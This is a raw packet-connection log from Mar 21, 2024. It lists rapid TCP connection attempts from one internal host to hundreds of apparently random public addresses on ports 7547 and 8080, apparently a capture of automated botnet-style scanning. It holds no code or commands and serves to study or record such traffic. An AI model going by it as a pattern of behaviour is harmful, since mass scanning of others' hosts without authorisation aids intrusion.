Mar 21, 2024 05:16:56.504554033 CET	41298	8080	192.168.2.13	143.158.62.66
Mar 21, 2024 05:16:56.504578114 CET	41298	8080	192.168.2.13	41.235.88.49
Mar 21, 2024 05:16:56.504578114 CET	39762	7547	192.168.2.13	151.197.76.38
Mar 21, 2024 05:16:56.504596949 CET	39762	7547	192.168.2.13	190.19.46.166
Mar 21, 2024 05:16:56.504596949 CET	39762	7547	192.168.2.13	178.226.121.63
Mar 21, 2024 05:16:56.504596949 CET	39762	7547	192.168.2.13	57.79.135.248
Mar 21, 2024 05:16:56.504596949 CET	41298	8080	192.168.2.13	97.135.59.142
Mar 21, 2024 05:16:56.504597902 CET	39762	7547	192.168.2.13	188.97.70.251
Mar 21, 2024 05:16:56.504597902 CET	41298	8080	192.168.2.13	71.159.123.251
Mar 21, 2024 05:16:56.504597902 CET	39762	7547	192.168.2.13	162.74.93.157
Mar 21, 2024 05:16:56.504597902 CET	39762	7547	192.168.2.13	178.199.172.252
Mar 21, 2024 05:16:56.504599094 CET	39762	7547	192.168.2.13	218.54.43.126
Mar 21, 2024 05:16:56.504599094 CET	39762	7547	192.168.2.13	53.97.9.216
Mar 21, 2024 05:16:56.504599094 CET	39762	7547	192.168.2.13	171.254.191.200
Mar 21, 2024 05:16:56.504605055 CET	39762	7547	192.168.2.13	156.227.139.70
Mar 21, 2024 05:16:56.504609108 CET	41298	8080	192.168.2.13	157.149.8.233
Mar 21, 2024 05:16:56.504609108 CET	41298	8080	192.168.2.13	221.235.226.111
Mar 21, 2024 05:16:56.504609108 CET	41298	8080	192.168.2.13	62.93.92.233
Mar 21, 2024 05:16:56.504609108 CET	41298	8080	192.168.2.13	35.101.95.6
Mar 21, 2024 05:16:56.504609108 CET	39762	7547	192.168.2.13	185.134.235.133
Mar 21, 2024 05:16:56.504609108 CET	39762	7547	192.168.2.13	32.141.187.207
Mar 21, 2024 05:16:56.504609108 CET	39762	7547	192.168.2.13	64.232.61.230
Mar 21, 2024 05:16:56.504609108 CET	41298	8080	192.168.2.13	52.203.2.14
Mar 21, 2024 05:16:56.504628897 CET	39762	7547	192.168.2.13	31.119.39.139
Mar 21, 2024 05:16:56.504628897 CET	41298	8080	192.168.2.13	83.227.170.205
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	154.111.178.1
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	174.235.113.28
Mar 21, 2024 05:16:56.504633904 CET	41298	8080	192.168.2.13	111.28.116.174
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	96.224.134.141
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	146.74.157.186
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	61.96.171.60
Mar 21, 2024 05:16:56.504633904 CET	41298	8080	192.168.2.13	153.236.78.197
Mar 21, 2024 05:16:56.504633904 CET	39762	7547	192.168.2.13	139.178.197.220
Mar 21, 2024 05:16:56.504647970 CET	41298	8080	192.168.2.13	164.152.88.174
Mar 21, 2024 05:16:56.504650116 CET	39762	7547	192.168.2.13	41.183.253.46
Mar 21, 2024 05:16:56.504648924 CET	39762	7547	192.168.2.13	124.62.143.36
Mar 21, 2024 05:16:56.504650116 CET	39762	7547	192.168.2.13	181.83.120.86
Mar 21, 2024 05:16:56.504650116 CET	41298	8080	192.168.2.13	41.82.143.219
Mar 21, 2024 05:16:56.504652977 CET	41298	8080	192.168.2.13	147.99.213.53
Mar 21, 2024 05:16:56.504652977 CET	41298	8080	192.168.2.13	151.114.137.153
Mar 21, 2024 05:16:56.504652977 CET	41298	8080	192.168.2.13	115.210.108.91
Mar 21, 2024 05:16:56.504652977 CET	39762	7547	192.168.2.13	58.191.95.164
Mar 21, 2024 05:16:56.504652977 CET	39762	7547	192.168.2.13	117.136.90.125
Mar 21, 2024 05:16:56.504652977 CET	39762	7547	192.168.2.13	152.106.65.77
Mar 21, 2024 05:16:56.504652977 CET	39762	7547	192.168.2.13	102.235.114.248
Mar 21, 2024 05:16:56.504652977 CET	41298	8080	192.168.2.13	217.151.24.4
Mar 21, 2024 05:16:56.504661083 CET	41298	8080	192.168.2.13	43.245.209.117
Mar 21, 2024 05:16:56.504661083 CET	41298	8080	192.168.2.13	123.45.90.105
Mar 21, 2024 05:16:56.504661083 CET	39762	7547	192.168.2.13	212.118.238.163
Mar 21, 2024 05:16:56.504681110 CET	39762	7547	192.168.2.13	131.35.135.231
Mar 21, 2024 05:16:56.504681110 CET	41298	8080	192.168.2.13	222.156.211.241
Mar 21, 2024 05:16:56.504681110 CET	39762	7547	192.168.2.13	125.253.215.191
Mar 21, 2024 05:16:56.504681110 CET	39762	7547	192.168.2.13	191.183.160.106
Mar 21, 2024 05:16:56.504681110 CET	41298	8080	192.168.2.13	171.134.78.242
Mar 21, 2024 05:16:56.504681110 CET	39762	7547	192.168.2.13	156.101.239.89
Mar 21, 2024 05:16:56.504681110 CET	39762	7547	192.168.2.13	186.213.248.33
Mar 21, 2024 05:16:56.504681110 CET	41298	8080	192.168.2.13	31.60.103.209
Mar 21, 2024 05:16:56.504695892 CET	39762	7547	192.168.2.13	191.209.253.198
Mar 21, 2024 05:16:56.504695892 CET	41298	8080	192.168.2.13	130.102.86.132
Mar 21, 2024 05:16:56.504695892 CET	39762	7547	192.168.2.13	112.161.189.4
Mar 21, 2024 05:16:56.504695892 CET	39762	7547	192.168.2.13	176.73.38.204
Mar 21, 2024 05:16:56.504695892 CET	39762	7547	192.168.2.13	66.40.209.109
Mar 21, 2024 05:16:56.504695892 CET	41298	8080	192.168.2.13	100.43.66.206
Mar 21, 2024 05:16:56.504698038 CET	39762	7547	192.168.2.13	64.30.19.45
Mar 21, 2024 05:16:56.504695892 CET	39762	7547	192.168.2.13	121.152.112.226
Mar 21, 2024 05:16:56.504699945 CET	41298	8080	192.168.2.13	132.113.20.229
Mar 21, 2024 05:16:56.504699945 CET	41298	8080	192.168.2.13	157.195.38.253
Mar 21, 2024 05:16:56.504709959 CET	39762	7547	192.168.2.13	155.15.138.145
Mar 21, 2024 05:16:56.504709959 CET	41298	8080	192.168.2.13	221.198.210.251
Mar 21, 2024 05:16:56.504718065 CET	41298	8080	192.168.2.13	59.104.184.41
Mar 21, 2024 05:16:56.504718065 CET	41298	8080	192.168.2.13	211.28.107.253
Mar 21, 2024 05:16:56.504719019 CET	41298	8080	192.168.2.13	140.156.194.45
Mar 21, 2024 05:16:56.504719019 CET	41298	8080	192.168.2.13	1.92.165.215
Mar 21, 2024 05:16:56.504719019 CET	41298	8080	192.168.2.13	157.134.34.73
Mar 21, 2024 05:16:56.504733086 CET	39762	7547	192.168.2.13	106.250.83.178
Mar 21, 2024 05:16:56.504733086 CET	41298	8080	192.168.2.13	110.64.218.184
Mar 21, 2024 05:16:56.504733086 CET	41298	8080	192.168.2.13	203.109.20.131
Mar 21, 2024 05:16:56.504733086 CET	39762	7547	192.168.2.13	90.147.217.202
Mar 21, 2024 05:16:56.504733086 CET	41298	8080	192.168.2.13	163.245.252.219
Mar 21, 2024 05:16:56.504733086 CET	39762	7547	192.168.2.13	78.100.174.66
Mar 21, 2024 05:16:56.504733086 CET	41298	8080	192.168.2.13	119.218.80.150
Mar 21, 2024 05:16:56.504738092 CET	39762	7547	192.168.2.13	8.209.141.102
Mar 21, 2024 05:16:56.504738092 CET	39762	7547	192.168.2.13	166.98.176.122
Mar 21, 2024 05:16:56.504738092 CET	41298	8080	192.168.2.13	100.246.193.217
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	95.58.123.196
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	123.28.106.30
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	114.179.104.42
Mar 21, 2024 05:16:56.504743099 CET	39762	7547	192.168.2.13	197.53.129.210
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	32.90.116.192
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	74.64.46.176
Mar 21, 2024 05:16:56.504743099 CET	41298	8080	192.168.2.13	90.163.173.244
Mar 21, 2024 05:16:56.504755974 CET	39762	7547	192.168.2.13	163.224.81.215
Mar 21, 2024 05:16:56.504757881 CET	41298	8080	192.168.2.13	94.193.207.109
Mar 21, 2024 05:16:56.504757881 CET	41298	8080	192.168.2.13	32.148.140.28
Mar 21, 2024 05:16:56.504755974 CET	39762	7547	192.168.2.13	83.75.137.16
Mar 21, 2024 05:16:56.504757881 CET	39762	7547	192.168.2.13	130.165.93.209
Mar 21, 2024 05:16:56.504757881 CET	41298	8080	192.168.2.13	96.249.245.159
Mar 21, 2024 05:16:56.504755974 CET	41298	8080	192.168.2.13	108.100.70.152
Mar 21, 2024 05:16:56.504756927 CET	39762	7547	192.168.2.13	161.121.209.30
Mar 21, 2024 05:16:56.504757881 CET	39762	7547	192.168.2.13	111.108.124.160
Mar 21, 2024 05:16:56.504756927 CET	39762	7547	192.168.2.13	189.44.196.239
Mar 21, 2024 05:16:56.504757881 CET	41298	8080	192.168.2.13	201.222.52.42
Mar 21, 2024 05:16:56.504757881 CET	39762	7547	192.168.2.13	153.16.190.228
Mar 21, 2024 05:16:56.504770994 CET	39762	7547	192.168.2.13	213.200.213.175
Mar 21, 2024 05:16:56.504800081 CET	39762	7547	192.168.2.13	150.41.87.60
Mar 21, 2024 05:16:56.504800081 CET	41298	8080	192.168.2.13	78.91.166.51
Mar 21, 2024 05:16:56.504800081 CET	39762	7547	192.168.2.13	186.180.187.188
Mar 21, 2024 05:16:56.504800081 CET	41298	8080	192.168.2.13	86.61.96.167
Mar 21, 2024 05:16:56.504800081 CET	39762	7547	192.168.2.13	160.116.29.119
Mar 21, 2024 05:16:56.504801035 CET	39762	7547	192.168.2.13	115.235.126.57
Mar 21, 2024 05:16:56.504827023 CET	41298	8080	192.168.2.13	36.208.175.190
Mar 21, 2024 05:16:56.504827023 CET	39762	7547	192.168.2.13	60.70.210.175
Mar 21, 2024 05:16:56.504827023 CET	39762	7547	192.168.2.13	103.117.83.207
Mar 21, 2024 05:16:56.504827023 CET	41298	8080	192.168.2.13	156.187.171.177
Mar 21, 2024 05:16:56.504827023 CET	41298	8080	192.168.2.13	88.106.236.38
Mar 21, 2024 05:16:56.504827023 CET	39762	7547	192.168.2.13	74.129.129.84
Mar 21, 2024 05:16:56.504827023 CET	39762	7547	192.168.2.13	193.175.123.132
Mar 21, 2024 05:16:56.504827023 CET	39762	7547	192.168.2.13	161.60.193.131
Mar 21, 2024 05:16:56.504834890 CET	39762	7547	192.168.2.13	47.70.36.63
Mar 21, 2024 05:16:56.504832983 CET	39762	7547	192.168.2.13	2.146.137.138
Mar 21, 2024 05:16:56.504834890 CET	39762	7547	192.168.2.13	116.37.27.147
Mar 21, 2024 05:16:56.504832983 CET	41298	8080	192.168.2.13	93.202.167.234
Mar 21, 2024 05:16:56.504834890 CET	41298	8080	192.168.2.13	98.210.174.47
Mar 21, 2024 05:16:56.504832983 CET	41298	8080	192.168.2.13	35.158.88.43
Mar 21, 2024 05:16:56.504833937 CET	41298	8080	192.168.2.13	144.1.84.31
Mar 21, 2024 05:16:56.504836082 CET	41298	8080	192.168.2.13	167.50.127.48
Mar 21, 2024 05:16:56.504836082 CET	39762	7547	192.168.2.13	74.141.201.124
Mar 21, 2024 05:16:56.504833937 CET	41298	8080	192.168.2.13	200.120.244.84
Mar 21, 2024 05:16:56.504836082 CET	39762	7547	192.168.2.13	39.252.139.96
Mar 21, 2024 05:16:56.504833937 CET	39762	7547	192.168.2.13	116.199.108.14
Mar 21, 2024 05:16:56.504836082 CET	39762	7547	192.168.2.13	194.133.218.114
Mar 21, 2024 05:16:56.504836082 CET	41298	8080	192.168.2.13	12.15.91.129
Mar 21, 2024 05:16:56.504844904 CET	39762	7547	192.168.2.13	51.42.108.9
Mar 21, 2024 05:16:56.504844904 CET	39762	7547	192.168.2.13	74.229.16.148
Mar 21, 2024 05:16:56.504844904 CET	41298	8080	192.168.2.13	102.240.147.16
Mar 21, 2024 05:16:56.504844904 CET	39762	7547	192.168.2.13	190.107.232.231
Mar 21, 2024 05:16:56.504844904 CET	39762	7547	192.168.2.13	1.19.212.183
Mar 21, 2024 05:16:56.504844904 CET	41298	8080	192.168.2.13	108.229.39.151
Mar 21, 2024 05:16:56.504844904 CET	41298	8080	192.168.2.13	106.242.67.199
Mar 21, 2024 05:16:56.504858017 CET	41298	8080	192.168.2.13	92.252.71.189
Mar 21, 2024 05:16:56.504858017 CET	39762	7547	192.168.2.13	190.249.137.32
Mar 21, 2024 05:16:56.504858017 CET	39762	7547	192.168.2.13	104.43.32.78
Mar 21, 2024 05:16:56.504858017 CET	41298	8080	192.168.2.13	86.62.8.146
Mar 21, 2024 05:16:56.504869938 CET	41298	8080	192.168.2.13	128.7.99.154
Mar 21, 2024 05:16:56.504869938 CET	39762	7547	192.168.2.13	25.111.187.207
Mar 21, 2024 05:16:56.504869938 CET	41298	8080	192.168.2.13	190.52.88.15
Mar 21, 2024 05:16:56.504869938 CET	39762	7547	192.168.2.13	167.46.71.73
Mar 21, 2024 05:16:56.504869938 CET	39762	7547	192.168.2.13	168.182.66.93
Mar 21, 2024 05:16:56.504869938 CET	41298	8080	192.168.2.13	111.40.208.220
Mar 21, 2024 05:16:56.504870892 CET	39762	7547	192.168.2.13	87.33.252.226
Mar 21, 2024 05:16:56.504889011 CET	39762	7547	192.168.2.13	74.121.203.190
Mar 21, 2024 05:16:56.504889011 CET	41298	8080	192.168.2.13	182.81.173.162
Mar 21, 2024 05:16:56.504889011 CET	39762	7547	192.168.2.13	65.127.48.30
Mar 21, 2024 05:16:56.504889011 CET	41298	8080	192.168.2.13	47.146.77.33
Mar 21, 2024 05:16:56.504889011 CET	39762	7547	192.168.2.13	211.164.129.242
Mar 21, 2024 05:16:56.504904032 CET	39762	7547	192.168.2.13	85.101.189.129
Mar 21, 2024 05:16:56.504904032 CET	41298	8080	192.168.2.13	39.177.206.64
Mar 21, 2024 05:16:56.504904032 CET	41298	8080	192.168.2.13	117.80.17.74
Mar 21, 2024 05:16:56.504904032 CET	41298	8080	192.168.2.13	35.234.25.81
Mar 21, 2024 05:16:56.504904032 CET	39762	7547	192.168.2.13	189.162.58.190
Mar 21, 2024 05:16:56.504904032 CET	41298	8080	192.168.2.13	200.11.55.91
Mar 21, 2024 05:16:56.504904032 CET	41298	8080	192.168.2.13	49.157.131.120
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	160.7.105.84
Mar 21, 2024 05:16:56.504941940 CET	39762	7547	192.168.2.13	66.27.42.156
Mar 21, 2024 05:16:56.504941940 CET	39762	7547	192.168.2.13	79.254.43.246
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	141.2.23.248
Mar 21, 2024 05:16:56.504941940 CET	39762	7547	192.168.2.13	173.123.196.134
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	114.201.27.233
Mar 21, 2024 05:16:56.504941940 CET	39762	7547	192.168.2.13	174.198.178.251
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	97.125.104.170
Mar 21, 2024 05:16:56.504941940 CET	39762	7547	192.168.2.13	133.214.63.180
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	64.138.173.185
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	208.14.117.238
Mar 21, 2024 05:16:56.504941940 CET	41298	8080	192.168.2.13	176.59.234.164
Mar 21, 2024 05:16:56.504957914 CET	39762	7547	192.168.2.13	122.69.156.240
Mar 21, 2024 05:16:56.504957914 CET	39762	7547	192.168.2.13	58.67.161.50
Mar 21, 2024 05:16:56.504957914 CET	39762	7547	192.168.2.13	187.237.255.252
Mar 21, 2024 05:16:56.504960060 CET	41298	8080	192.168.2.13	25.4.143.24
Mar 21, 2024 05:16:56.504957914 CET	41298	8080	192.168.2.13	69.57.13.239
Mar 21, 2024 05:16:56.504957914 CET	39762	7547	192.168.2.13	39.153.113.10
Mar 21, 2024 05:16:56.504957914 CET	39762	7547	192.168.2.13	82.221.162.240
Mar 21, 2024 05:16:56.504957914 CET	41298	8080	192.168.2.13	79.218.230.228
Mar 21, 2024 05:16:56.504960060 CET	39762	7547	192.168.2.13	53.126.174.240
Mar 21, 2024 05:16:56.504960060 CET	41298	8080	192.168.2.13	217.143.17.4
Mar 21, 2024 05:16:56.504960060 CET	41298	8080	192.168.2.13	32.251.134.139
Mar 21, 2024 05:16:56.504962921 CET	39762	7547	192.168.2.13	90.22.159.112
Mar 21, 2024 05:16:56.504960060 CET	41298	8080	192.168.2.13	178.49.69.6
Mar 21, 2024 05:16:56.504962921 CET	41298	8080	192.168.2.13	82.91.234.142
Mar 21, 2024 05:16:56.504962921 CET	41298	8080	192.168.2.13	64.224.221.165
Mar 21, 2024 05:16:56.504962921 CET	41298	8080	192.168.2.13	189.209.119.61
Mar 21, 2024 05:16:56.504962921 CET	39762	7547	192.168.2.13	148.72.253.77
Mar 21, 2024 05:16:56.504964113 CET	41298	8080	192.168.2.13	54.235.217.52
Mar 21, 2024 05:16:56.504964113 CET	41298	8080	192.168.2.13	42.226.55.87
Mar 21, 2024 05:16:56.504970074 CET	41298	8080	192.168.2.13	73.115.250.199
Mar 21, 2024 05:16:56.504970074 CET	39762	7547	192.168.2.13	193.242.244.157
Mar 21, 2024 05:16:56.504970074 CET	41298	8080	192.168.2.13	20.183.253.86
Mar 21, 2024 05:16:56.504970074 CET	39762	7547	192.168.2.13	50.168.184.159
Mar 21, 2024 05:16:56.504970074 CET	39762	7547	192.168.2.13	138.179.81.64
Mar 21, 2024 05:16:56.504970074 CET	41298	8080	192.168.2.13	69.27.17.199
Mar 21, 2024 05:16:56.504997969 CET	41298	8080	192.168.2.13	195.38.166.104
Mar 21, 2024 05:16:56.504997969 CET	41298	8080	192.168.2.13	103.31.66.115
Mar 21, 2024 05:16:56.504997969 CET	41298	8080	192.168.2.13	202.57.231.182
Mar 21, 2024 05:16:56.504997969 CET	39762	7547	192.168.2.13	198.245.220.92
Mar 21, 2024 05:16:56.504997969 CET	39762	7547	192.168.2.13	72.139.205.27
Mar 21, 2024 05:16:56.504997969 CET	39762	7547	192.168.2.13	149.231.252.142
Mar 21, 2024 05:16:56.504997969 CET	39762	7547	192.168.2.13	133.69.76.92
Mar 21, 2024 05:16:56.505012035 CET	39762	7547	192.168.2.13	173.153.177.233
Mar 21, 2024 05:16:56.505012035 CET	39762	7547	192.168.2.13	84.248.130.112
Mar 21, 2024 05:16:56.505012035 CET	39762	7547	192.168.2.13	46.66.13.99
Mar 21, 2024 05:16:56.505012035 CET	39762	7547	192.168.2.13	208.165.238.31
Mar 21, 2024 05:16:56.505012035 CET	39762	7547	192.168.2.13	207.222.194.35
Mar 21, 2024 05:16:56.505012035 CET	41298	8080	192.168.2.13	223.52.216.24
Mar 21, 2024 05:16:56.505012035 CET	41298	8080	192.168.2.13	120.175.232.100
Mar 21, 2024 05:16:56.505027056 CET	39762	7547	192.168.2.13	172.230.100.231
Mar 21, 2024 05:16:56.505027056 CET	39762	7547	192.168.2.13	70.224.204.97
Mar 21, 2024 05:16:56.505027056 CET	41298	8080	192.168.2.13	161.172.60.85
Mar 21, 2024 05:16:56.505027056 CET	39762	7547	192.168.2.13	66.23.202.41
Mar 21, 2024 05:16:56.505027056 CET	41298	8080	192.168.2.13	213.196.134.132
Mar 21, 2024 05:16:56.505027056 CET	39762	7547	192.168.2.13	163.144.166.4
Mar 21, 2024 05:16:56.505027056 CET	41298	8080	192.168.2.13	196.88.49.126
Mar 21, 2024 05:16:56.505031109 CET	39762	7547	192.168.2.13	52.3.146.19
Mar 21, 2024 05:16:56.505031109 CET	41298	8080	192.168.2.13	178.239.0.212
Mar 21, 2024 05:16:56.505031109 CET	39762	7547	192.168.2.13	180.177.154.54
Mar 21, 2024 05:16:56.505032063 CET	39762	7547	192.168.2.13	164.109.0.87
Mar 21, 2024 05:16:56.505032063 CET	39762	7547	192.168.2.13	1.14.95.8
Mar 21, 2024 05:16:56.505032063 CET	41298	8080	192.168.2.13	119.47.156.7
Mar 21, 2024 05:16:56.505032063 CET	41298	8080	192.168.2.13	206.81.103.14
Mar 21, 2024 05:16:56.505032063 CET	39762	7547	192.168.2.13	114.132.247.59
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	168.155.248.119
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	193.90.153.181
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	183.206.113.74
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	152.120.125.253
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	44.22.34.50
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	118.73.44.125
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	52.126.233.172
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	52.86.52.65
Mar 21, 2024 05:16:56.505065918 CET	41298	8080	192.168.2.13	111.9.209.149
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	109.118.217.120
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	166.38.250.51
Mar 21, 2024 05:16:56.505065918 CET	41298	8080	192.168.2.13	192.145.202.159
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	137.128.82.172
Mar 21, 2024 05:16:56.505065918 CET	41298	8080	192.168.2.13	74.233.140.151
Mar 21, 2024 05:16:56.505065918 CET	39762	7547	192.168.2.13	113.241.189.221
Mar 21, 2024 05:16:56.505073071 CET	41298	8080	192.168.2.13	150.57.68.5
Mar 21, 2024 05:16:56.505073071 CET	39762	7547	192.168.2.13	79.172.60.35
Mar 21, 2024 05:16:56.505073071 CET	39762	7547	192.168.2.13	213.162.151.41
Mar 21, 2024 05:16:56.505073071 CET	39762	7547	192.168.2.13	204.25.146.35
Mar 21, 2024 05:16:56.505073071 CET	41298	8080	192.168.2.13	62.72.42.232
Mar 21, 2024 05:16:56.505073071 CET	39762	7547	192.168.2.13	44.168.226.181
Mar 21, 2024 05:16:56.505073071 CET	41298	8080	192.168.2.13	139.227.89.247
Mar 21, 2024 05:16:56.505073071 CET	41298	8080	192.168.2.13	176.187.64.249
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	79.94.123.126
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	160.49.245.231
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	219.223.152.120
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	155.210.26.240
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	132.99.51.33
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	73.117.102.189
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	69.151.125.252
Mar 21, 2024 05:16:56.505100012 CET	41298	8080	192.168.2.13	112.52.201.126
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	162.85.104.192
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	120.223.111.182
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	203.7.254.107
Mar 21, 2024 05:16:56.505100965 CET	41298	8080	192.168.2.13	171.40.92.181
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	52.48.219.73
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	71.129.16.61
Mar 21, 2024 05:16:56.505100965 CET	41298	8080	192.168.2.13	41.83.118.255
Mar 21, 2024 05:16:56.505100012 CET	39762	7547	192.168.2.13	54.105.74.111
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	155.45.118.75
Mar 21, 2024 05:16:56.505100965 CET	39762	7547	192.168.2.13	107.153.186.39
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	206.88.142.104
Mar 21, 2024 05:16:56.505104065 CET	41298	8080	192.168.2.13	88.0.188.53
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	156.84.187.26
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	67.150.144.115
Mar 21, 2024 05:16:56.505104065 CET	39762	7547	192.168.2.13	179.203.224.81
Mar 21, 2024 05:16:56.505135059 CET	41298	8080	192.168.2.13	170.11.4.229
Mar 21, 2024 05:16:56.505135059 CET	39762	7547	192.168.2.13	8.221.219.191
Mar 21, 2024 05:16:56.505135059 CET	39762	7547	192.168.2.13	219.127.240.42
Mar 21, 2024 05:16:56.505135059 CET	39762	7547	192.168.2.13	25.140.133.212
Mar 21, 2024 05:16:56.505135059 CET	41298	8080	192.168.2.13	42.162.229.181
Mar 21, 2024 05:16:56.505135059 CET	39762	7547	192.168.2.13	129.157.59.242
Mar 21, 2024 05:16:56.505151987 CET	39762	7547	192.168.2.13	216.70.139.12
Mar 21, 2024 05:16:56.505151987 CET	41298	8080	192.168.2.13	152.42.190.137
Mar 21, 2024 05:16:56.505151987 CET	39762	7547	192.168.2.13	174.55.79.125
Mar 21, 2024 05:16:56.505152941 CET	39762	7547	192.168.2.13	27.5.231.182
Mar 21, 2024 05:16:56.505152941 CET	41298	8080	192.168.2.13	173.106.98.228
Mar 21, 2024 05:16:56.505151987 CET	39762	7547	192.168.2.13	44.218.205.112
Mar 21, 2024 05:16:56.505152941 CET	41298	8080	192.168.2.13	140.198.196.209
Mar 21, 2024 05:16:56.505151987 CET	39762	7547	192.168.2.13	84.113.170.66
Mar 21, 2024 05:16:56.505152941 CET	41298	8080	192.168.2.13	175.241.149.41
Mar 21, 2024 05:16:56.505152941 CET	41298	8080	192.168.2.13	57.95.194.130
Mar 21, 2024 05:16:56.505156994 CET	41298	8080	192.168.2.13	182.83.147.111
Mar 21, 2024 05:16:56.505156994 CET	39762	7547	192.168.2.13	165.254.114.215
Mar 21, 2024 05:16:56.505152941 CET	41298	8080	192.168.2.13	132.192.26.160
Mar 21, 2024 05:16:56.505156994 CET	41298	8080	192.168.2.13	144.253.48.8
Mar 21, 2024 05:16:56.505156994 CET	41298	8080	192.168.2.13	62.116.104.167
Mar 21, 2024 05:16:56.505156994 CET	41298	8080	192.168.2.13	164.186.38.245
Mar 21, 2024 05:16:56.505194902 CET	41298	8080	192.168.2.13	131.116.104.177
Mar 21, 2024 05:16:56.505194902 CET	39762	7547	192.168.2.13	82.252.31.145
Mar 21, 2024 05:16:56.505194902 CET	41298	8080	192.168.2.13	12.80.131.238
Mar 21, 2024 05:16:56.505194902 CET	41298	8080	192.168.2.13	109.81.98.86
Mar 21, 2024 05:16:56.505194902 CET	39762	7547	192.168.2.13	175.95.144.135
Mar 21, 2024 05:16:56.505194902 CET	39762	7547	192.168.2.13	96.197.130.31
Mar 21, 2024 05:16:56.505202055 CET	41298	8080	192.168.2.13	52.204.157.91
Mar 21, 2024 05:16:56.505202055 CET	41298	8080	192.168.2.13	133.246.7.46
Mar 21, 2024 05:16:56.505202055 CET	39762	7547	192.168.2.13	1.217.224.30
Mar 21, 2024 05:16:56.505202055 CET	41298	8080	192.168.2.13	203.228.178.168
Mar 21, 2024 05:16:56.505202055 CET	41298	8080	192.168.2.13	100.48.114.214
Mar 21, 2024 05:16:56.505202055 CET	41298	8080	192.168.2.13	86.243.46.17
Mar 21, 2024 05:16:56.505217075 CET	41298	8080	192.168.2.13	178.200.18.241
Mar 21, 2024 05:16:56.505217075 CET	41298	8080	192.168.2.13	174.252.166.8
Mar 21, 2024 05:16:56.505217075 CET	39762	7547	192.168.2.13	19.24.39.94
Mar 21, 2024 05:16:56.505217075 CET	41298	8080	192.168.2.13	14.202.184.56
Mar 21, 2024 05:16:56.505217075 CET	39762	7547	192.168.2.13	105.200.108.65
Mar 21, 2024 05:16:56.505217075 CET	39762	7547	192.168.2.13	210.61.123.50
Mar 21, 2024 05:16:56.505235910 CET	39762	7547	192.168.2.13	76.242.165.235
Mar 21, 2024 05:16:56.505235910 CET	39762	7547	192.168.2.13	12.95.6.37
Mar 21, 2024 05:16:56.505235910 CET	39762	7547	192.168.2.13	25.187.197.140
Mar 21, 2024 05:16:56.505235910 CET	41298	8080	192.168.2.13	114.37.222.36
Mar 21, 2024 05:16:56.505235910 CET	39762	7547	192.168.2.13	182.2.168.109
Mar 21, 2024 05:16:56.505235910 CET	41298	8080	192.168.2.13	184.101.67.201
Mar 21, 2024 05:16:56.505235910 CET	39762	7547	192.168.2.13	68.99.212.188
Mar 21, 2024 05:16:56.505270958 CET	39762	7547	192.168.2.13	189.20.118.85
Mar 21, 2024 05:16:56.505270958 CET	39762	7547	192.168.2.13	186.41.254.29
Mar 21, 2024 05:16:56.505270958 CET	39762	7547	192.168.2.13	53.152.109.195
Mar 21, 2024 05:16:56.505270958 CET	41298	8080	192.168.2.13	185.198.84.200
Mar 21, 2024 05:16:56.505270958 CET	39762	7547	192.168.2.13	181.76.122.102
Mar 21, 2024 05:16:56.505270958 CET	41298	8080	192.168.2.13	169.64.21.29
Mar 21, 2024 05:16:56.505270958 CET	39762	7547	192.168.2.13	8.167.243.131
Mar 21, 2024 05:16:56.505275011 CET	39762	7547	192.168.2.13	45.186.48.88
Mar 21, 2024 05:16:56.505275011 CET	39762	7547	192.168.2.13	102.47.110.32
Mar 21, 2024 05:16:56.505275011 CET	41298	8080	192.168.2.13	195.124.143.205
Mar 21, 2024 05:16:56.505275011 CET	39762	7547	192.168.2.13	24.171.173.70
Mar 21, 2024 05:16:56.505275965 CET	41298	8080	192.168.2.13	129.248.206.67
